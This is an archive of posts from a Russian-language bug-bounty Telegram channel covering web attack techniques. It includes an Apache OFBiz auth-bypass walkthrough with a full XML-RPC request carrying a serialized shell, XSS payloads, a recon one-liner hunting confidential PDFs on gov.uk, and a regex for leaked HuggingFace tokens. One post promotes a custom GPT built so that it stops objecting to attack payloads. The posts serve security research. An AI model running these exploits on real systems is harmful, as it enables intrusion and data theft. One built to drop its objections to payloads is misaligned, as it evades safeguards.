shadow_group_tg | Unsorted

Telegram-канал shadow_group_tg - SHADOW:Group

11529

Чат: @shadow_chat_tg Предложения, вопросы, сотрудничество: @shdwpwn

Subscribe to a channel

SHADOW:Group

Как ломать 1С-Битрикс

Привет! Теперь я могу выложить статью с помощью которой проскочил на Standoff Hacks. Также команда standoff 365 помогла её отредактировать, за что большое спасибо и теперь я выложил её на хабр 👍

Краткое содержание статьи
⬜️ Что делать, если по всем известной методичке про атаки на битрикс ничего не найдено
⬜️ Откуда появляются самописные скрипты в битриксе
⬜️ Охота и разведка на самописные php скрипты разработчиков
⬜️ Атака + кейс с работы

Приятного чтения & Happy hacking ☺️

📶 Как ломать сайты на «1С-Битрикс»

ЧТНП | #web

Читать полностью…

SHADOW:Group

Oh yes, ping pong

Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать XML-RPC. Решил глянуть, что это было и как оно происходит 😺

Суть заключается в том, что XML-RPC, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.java

       List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}


Тут все начинается с requirePasswordChange, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y, то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChange

Дальше идем в checkLogin() и там уже идет следующий момент

if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))


Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс "error".equals(login(request, response)) не будет срабатывать, т.к мы заставили login(...) вернуть requirePasswordChange

Поэтому мы можем дергать ручки XML-RPC

/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y


А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial

POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Читать полностью…

SHADOW:Group

#quick #XSS
Многие забывают, что парсинг html на бекенде - довольно сложный процесс. Поэтому на уровне даже стандартных парсеров популярных языков программирования - он не реализован полностью
Рассмотрим код на python:

from html.parser import HTMLParser

class MyHTMLParser(HTMLParser):
def handle_starttag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")

def handle_endtag(self, tag):
pass

def handle_startendtag(self, tag, attrs):
print(f"{tag}")
for attr in attrs:
print(f" ->{attr[0]}: {attr[1]}")

def handle_data(self, data):
pass

html_string = input()

parser = MyHTMLParser()
parser.feed(html_string)

Этот код выводит теги и их атрибуты.
При этом стандартная библиотека питона не учитывает, что для тегов
"iframe", "noembed", "noframes", "noscript", "plaintext", "title", "textarea", "xmp"

Содержимое не обрабатывается как html теги
Соответственно при вводе:
<textarea><a href="x></textarea><img src=x onerror=alert()//">

Результат парсинга будет выглядеть следующим образом:
textarea
a
->href: x></textarea><img src=x onerror=alert()//

В то время как в браузере это будет выглядеть следующим образом:
            <textarea>&lt;a href="x&gt;</textarea><img src="x" onerror="alert()//&quot;">

И соответсвенно выведется alert()
Вещь баянистая, но многие про это забывают при той же эксплуатации Server Side XSS

Попробую такой формат заметок

Читать полностью…

SHADOW:Group

📁 Массовый поиск конфиденциальных данных в PDF-файлах

Исследуя таргет часто попадается много pdf'ок, которые могут содержать конфиденциальные данные. Просматривать вручную все это очень долго, а потому можно попробовать автоматизировать этот процесс.

1️⃣ Используем gau для сбора конечных точек из wayback, urlscan и т.д.
2️⃣ Фильтруем конечные точки по расширению .pdf с помощью Grep.
3️⃣ Проверяем с httpx, что url живой и возвращает 200 ОК.
4️⃣ С помощью curl'а смотрим все живые pdf'ки.
5️⃣ Конвертируем PDF в текст. Для этого есть утилитка pdftotext, которая, как видно из названия, умеет переводить из pdf в текст. Устанавливается так:

sudo apt install poppler-utils

6️⃣ Используем Grep для некоторых чувствительных слов, таких как "internal use only" или "confidential" и т.д.

В результате чего получим такую команду:

for i in $(echo "gov.uk" | gau --subs --threads 16 | grep -E -o 'https?://[^[:space:]]+\.pdf' | httpx -silent -mc 200); do if curl -k -s $i | pdftotext -q - - | grep -Eaiq 'confidential|internal use only'; then echo $i | tee output.txt; fi; done


Эта команда сканирует веб-сайт "gov.uk" и его поддомены в поиске URL-ов с PDF-файлами. Затем она проверяет каждый PDF-файл на наличие строк "confidential" или "internal use only" и записывает эти URL-ы в файл "output.txt".

Вы можете включить свое творческое мышление и попытаться изменить этот скрипт по своему усмотрению. Например, используя katana вместо gau или проверяя наличие других чувствительных слов, используя другие расширения и т.д. Использование собственного творческого подхода даст вам максимальную отдачу!

#web #recon #leak

Читать полностью…

SHADOW:Group

​​🔑 Утечки ключей HuggingFace

С развитием нейросетей увеличилось число сервисов для работы с ними, что в свою очередь дарит нам возможность поискать утекшие токены от этих сервисов.

Вот тут, например, исследователь нашел 1681 валидный токен через HuggingFace и GitHub у таких гигантов как Meta, Microsoft, Google и Vmware и получил полный доступ к репозиториям Meta-Llama, Bloom, Pythia и HuggingFace.

Можно взять себе на заметку и добавить регулярку к списку своих дорков, так как я ее не видел ни в одном из популярных публичных списков, а также проанализировать похожие сервисы на утечки.

/hf_([a-zA_Z0-9]{32,})/

#web #recon #leak #dork

Читать полностью…

SHADOW:Group

☕️² Время собирать подводные камни — в Java

Паша рассказал о подводных камнях веб-приложений на Java на примере четырёх способов исполнить произвольный код через малоизвестные компоненты и странности их поведения.

В программе: RCE через Spring View Manipulation, RCE через Java Deserialization, RCE через Java Naming and Directory Interface и RCE через FastJSON. Бонусом Паша показал ещё одну хитрую RCE-цепочку в своём таске на Java Attach API для Беллюминара (WCTF) 2020.

Доклад будет полезен тем, кто хочет узнать больше фишек и забытых механизмов в Java-вебчике, чтобы расширить свой багхантерский потенциал.

Видео: youtu.be/HVWW_tNoLkY
Презентация: vk.com/doc-114366489_607590017

— vk.com/wall-114366489_2279 —

Читать полностью…

SHADOW:Group

📁Отслеживаем изменения в файлах JS

Недавно было раскрыто несколько отчетов (например тут или тут), где исследователь просто отслеживал изменения в файлах JS и таким образом находил уязвимости.

Почитать подробнее об этом вы можете тут, а ниже прикладываю инструмент, который поможет вам отслеживать такие изменения и информировать вас о них в телеграмм.

Thx @cyb3r4z

Ссылка на GitHub

#web #tools #js

Читать полностью…

SHADOW:Group

📝Подборка обходов различных WAF

Автор собрал советы по обходу waf из Twitter'а и упаковал это в едином репозитории.

Ссылка на GitHub

#web #waf #bypass

Читать полностью…

SHADOW:Group

🔐Кража кода OAuth через Reverse Proxy для захвата аккаунта

Построение цепочки уязвимостей для получения захвата аккаунта в один клик.

Ссылка на статью

#web #oauth #ato

Читать полностью…

SHADOW:Group

Сегодняшний день богат на новые крутые ББ-программы :)

Positive Technologies объявили программу вместе с Wildberries
/channel/standoff_365/319

А BI.ZONE Bug Bounty запустили первую программу совместно с правительством Ленинградской области.
Тот случай, когда можно безопасно тестировать гос ресурсы 😄
https://app.bugbounty.bi.zone/companies/piou-lenobl/main

И, как подсказывают в комментариях, SkillBox, GeekBrains, SkillFactory подняли выплаты в 3 раза до 15 декабря

Настало время выходить из осенней спячки :)

Читать полностью…

SHADOW:Group

⚡️IDOR в CloudTips

Подготовили для вас статью, посвящённую разбору бага, найденного нашим исследователем на Bug Bounty Cloud Tips👾

📣Ссылка на статью:
https://habr.com/ru/articles/775814/

#web #pentest #byapsecurity #bugbounty

Читать полностью…

SHADOW:Group

#podcast #НеДляГалочки

Утечки или ночной кошмар DPO. Откуда берутся, в чем причины. Разбираем кейсы с этичным хакером
😄

ОСТОРОЖНО! В этом выпуске много практических кейсов, конкретных рекомендаций и историй из жизни хакера.

💡Apple, Яндекс

🎤Ведущие выпуска:

🔵Кристина Боровикова, со-основатель RPPA, Kept Privacy Team Lead

🔵Елизавета Дмитриева, data privacy engineer в российском инхаусе

🆕Помогали справиться с кошмаром:

🔵Александр Герасимов — этичный хакер, эксперт в области тестирования на проникновение и анализа защищенности. Директор по информационной безопасности и сооснователь Awillix.

🔵Елизавета Никулина — директор по маркетингу и PR в Awillix

Обсудили:

⬇️Векторы атак
⬇️Жизненный цикл утечек данных
⬇️Последствия утечек для человека
⬇️Реагирование на инциденты, а том числе PR-позиция компании
⬇️Немного коснулись базовой инфобезной терминологии

Читать полностью…

SHADOW:Group

👾Райтап для задачи "Xss 3", которая не была решена в JIS CTF 2023 и CAT CTF 23

Классный таск, сценарий которого максимально приближен к реальной жизни, когда кажется, что все символы экранированы и выполнить XSS нельзя.

Вы узнаете как в php можно обойти htmlspecialchars(), а также побороть ограничение на количество символов.

Читать статью

#web #xss #bypass #ctf

Читать полностью…

SHADOW:Group

🔃 Недавние уязвимости рендера в PDF

Если видим места, где рендерится PDF и у нас есть возможность влиять на его элементы обращаем внимание на уязвимости в:

ReportLab:
https://github.com/c53elyas/CVE-2023-33733

Dompdf:
https://github.com/advisories?query=CVE-2023-23924

На скрине ниже пример эксплуатации уязвимости в ReportLab приводящий к RCE.

#web #cve

Читать полностью…

SHADOW:Group

Результаты розыгрыша:

Победители:
1. IlluminatI
2. T@Kov
3. verner
4. Roman
5. Maksim
6. Зᴇбᴩᴀ
7. Денис
8. Давид Кройсманн
9. Artem
10. yanikita

Проверить результаты

Читать полностью…

SHADOW:Group

👁 Курс на мисконфиги. Как поймать проблемный CORS на проде

На новогодних праздниках, вместо поедания мандаринов, решил совместно с SidneyJob, провести исследование поведений браузеров при мисконфигурации CORS.

Разобрали как работает SOP и CORS, посмотрели возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов, и даже вспомнили, как работают регулярки.

Мы даже сделали для этого отдельную лабу! В ней ты сможешь создавать свои PoC'и при мисконфигурация CORS'a и сразу же кидать на них ссылки уже в отчёте.

Всё получившееся собрали вместе и выпустили как нашу первую статью на xakep.ru. Приятного чтения!

https://xakep.ru/2024/01/18/cors-cheatsheet/

Читать полностью…

SHADOW:Group

💻 Раскрытые уязвимости с багбаунти, ч.7

1️⃣ IDOR при изменении информации о пользователе, позволяющий привязать свою почту к чужому аккаунту и получить к нему доступ

2️⃣ Повышение привелегий через изменение роли, открывающее админский функционал в приложении

3️⃣ Reflected XSS через скрытый параметр

#web #idor #logic #xss

Читать полностью…

SHADOW:Group

Многие оставляют недоработанными вектора атак с self-XSS или XSS, заблокированной CSP. Иногда стоит уделить достаточно внимания каждой такой находке и посмотреть на уязвимость с другой стороны 😈

В этой статье мы рассмотрим различные методы и техники, которые расширяют границы XSS-атак: эксплуатацию XSS через service-worker, self-XSS в один клик и другие сочетания уязвимостей 💎

https://telegra.ph/XSS-Advanced-Level-01-09

Читать полностью…

SHADOW:Group

🎄 Дорогие подписчики, поздравляю вас с наступающим Новым Годом!

Желаю, чтобы ваши поиски всегда были успешными, а каждая найденная уязвимость приносила не только удовлетворение, но и заслуженное вознаграждение.

Пусть Новый год будет полон интересных открытий и невероятных находок и принесет вам радость, удачу и множество приятных сюрпризов. До встречи в новом году!

Читать полностью…

SHADOW:Group

SMTP Smuggling - Spoofing E-Mails Worldwide. Очень крутой, при этом подробный ресерч. Вкратце, благодаря смаглу сообщений, позволяет отправить сообщение от имени любого пользователя почтового сервера в обход фильтров.

https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/

P.S. Ну и судя по реакции вендоров, они того рот ... патчить это дело😁 А значит ждем много отчётов об апте, использующей данный метод

#initial #fishing #pentest #redteam

Читать полностью…

SHADOW:Group

Разработчики любят писать микросервисы для "перекладывания JSON". Стандарт устоявшийся и, как правило, не сулит проблем. Но так ли это на самом деле?

Возьмем небольшое приложение с двумя микросервисами:
Cart — реализует бизнес-логику корзины
Payment — используется для обработки платежей

Cart написан на Python с Flask и принимает ID товаров с их количеством. Попробуем отправить в него запрос с двумя одинаковыми ключами:

"cart": [
{
"id": 0,
"qty": 5
},
{
"id": 1,
"qty": -1,
"qty": 1
}
]

Сервис провалидирует JSON в соответствии со схемой jsonschema.validate(instance=data, schema=schema). Убедится, что id: 0 <= x <= 10 and qty: >= 1. На этом этапе не будет ошибки (не смотря на то, что один из отправленных qty не подходит под условие), поскольку Flask использует стандартный JSON-парсер из Python, а тот сериализует данные, отдавая приоритет последнего ключа (qty = 1).

Дальше провалидированный JSON отправляется в микросервис Payment.

А микросервис Payment написан уже на Go и использует другой парсер buger/jsonparser. Он уже не валидирует JSON (ведь валидация была на предыдущем шаге), но использует приоритет первого ключа (qty = -1). Считает итоговую сумму total = total + productDB[id]["price"].(int64) * qty и генерирует чек.

Мы смотрим в чек, который вернулся в ответе, и видим ошибку. Нам будет отправлено шесть товаров стоимостью 700 долларов, но с нас взяли только 300 долларов, из-за расчетов со вторым ключом.

Такие ошибки возникают из-за того, что существует много стандартов JSON:
1. json.org
2. IETF RFC 4627
3. ECMAScript 262
4. ECMA 404
5. IETF RFC 7158
6. IETF RFC 7159
7. JSON5
8. HJSON

И в каждом из них свои правила парсинга JSON: о том, как обрабатывать дублирующие ключи, что делать с большими числами с плавающей точкой, что считать валидным, а что нет. И на каждом из этих этапов могут возникнуть коллизии, позволяющие обходить средства защиты или вызывающие баги в бизнес логике.

Полезные ссылки:
https://seriot.ch/json/parsing.htmlбольшая таблица-сравнение: как разные парсеры обрабатывают разные значения.
https://bishopfox.com/blog/json-interoperability-vulnerabilities я рассказал только об одном баге, но их гораздо больше: здесь можно почитать обо всех остальных.
https://github.com/a1phaboy/JsonDetect расширение для Burp для определения того, какой парсер используется.

Читать полностью…

SHADOW:Group

🐔 XSS и CSRF в Twitter

Тут багхантер взял недавно слитую XSS , за которую не заплатили и докрутил ее до импакта, позволяющего выполнять различные действия в вашем аккаунте в Twitter, вплоть до его захвата. Однако ему за это тоже не заплатили и он так же решил слить уязвимость на всеобщее обозрение.

Ссылка на пост

#web #csrf

Читать полностью…

SHADOW:Group

🔍 Поиск утечек у пользователей организации

Один из рабочих способов поиска утечек в GitHub'е организации, это собрать список ее пользователей и проверять их репозитории на утечки.

Любой общедоступный репозиторий в учетной записи пользователя организации, созданный случайно или для тестирования, может содержать утечки конфиденциальной информации, внутренний код и т.д.

Данный процесс можно автоматизировать и один из инструментов, который может помочь вам, называется git-alerts. Вы можете ознакомиться с ним по ссылке ниже.

Ссылка на GitHub

#web #recon #tools

Читать полностью…

SHADOW:Group

Коротко о баг-баунти #meme #bugbounty

Читать полностью…

SHADOW:Group

Что было по ББ на Standoff:

Как выжить «мобильщику» на багбаунти - https://www.youtube.com/watch?v=TPSvVtF6vmw
Олды в багбаунти: как поменялись баги и подходы за последние 7–8 лет - https://www.youtube.com/watch?v=FRGHW5auZsI
Как выжить на bug bounty: история исследователя безопасности - https://www.youtube.com/watch?v=PvIFiHKfDgw
Систематизируем багбаунти с помощью аномалий - https://www.youtube.com/watch?v=TVKyU24n0fk

Читать полностью…

SHADOW:Group

📄 #наработки #web #offense

➡️Моя статья, победившая в конкурсе от Standoff365, увидела свет на Habr! 👈

1️⃣ Основы работы почты
2️⃣ Потенциальные уязвимости
3️⃣ Демонстрация эксплуатации

🧩 Habr: E-mail Injection

DeteAct Blog: E-mail Injection

   😰   HaHacking_Mail-Injection.pdf ⬇️


) Откуда?

Не так давно столкнулась с ситуацией, когда форма на сайте отправляла ответы пользователей в виде писем на выделенную для этого почту.

На первый взгляд – обычная ситуация, а на второй – вывалившийся лог SMTP сервера навёл на мысли об изучении спектра потенциальных уязвимостей, которые могут вытекать из специфики почтовой функциональности;

➡️ Результаты – оформила в виде статьи ⚡️


) Что?

[ Подготовила небольшие примеры уязвимых приложений + каждое наглядно проэксплуатировала ]

🧩 qwqoro/Mail-Injection [ 💻 / 💻 / 🐍 ]

CRLF (SMTP / IMAP) Injection
Arbitrary Command Flag Injection
Improper Input Validation


// Время чтения: ~20 минут
➡️Enjoy! 📝

@HaHacking  🐇

Читать полностью…

SHADOW:Group

Недавно OpenAI представила для подписчиков Plus контекстное окно в 32к токенов! А еще возможность создания кастомных GPT на основе своих данных.

Мне пришла идея создать свою сборку — загрузить чеклисты и методологии файлами в конфигуратор.

Представляю вашему вниманию Кавычка GPT

Теперь модель больше не будет спорить с вами об этичности пэйлоадов.

https://chat.openai.com/g/g-5KWmQ9wKU-kavychka-gpt

Читать полностью…

SHADOW:Group

💻 Раскрытые уязвимости с багбаунти, ч.6

1️⃣ Манипуляция ценой при покупке годовой лицензии

2️⃣ Лишаем пользователей возможности зарегистрироваться на сайте через логическую ошибка при добавлении нескольких почт

3️⃣ Простой Reflected XSS с обходом WAF

#web #xss #logic #bypass

Читать полностью…

SHADOW:Group

У канала Похек (ex Дневник Безопасника) сегодня день рождения, в связи с чем рекомендую вам заценить контент у них на канале и поддержать подпиской (там много всего интересного).

P.S. не реклама, сам давно подписан

Читать полностью…

SHADOW:Group

🎉Розыгрыш для подписчиков

Оказывается, что завтра, 15 октября, каналу исполняется уже 3 года!!

И чтобы отпраздновать вместе с вами я решил скинуться вам на пиво и провести небольшую раздачу крипты среди самых активных зрителей канала.

Десять рандомных подписчиков получит по 10 TON. Конкурс продлится чуть больше суток.

Кроме подписки, условий никаких нет, так что кидайте реакцию на пост и жмите кнопку «Участвую!». Бот выберет победителей 15 октября в 18:00.

Читать полностью…
Subscribe to a channel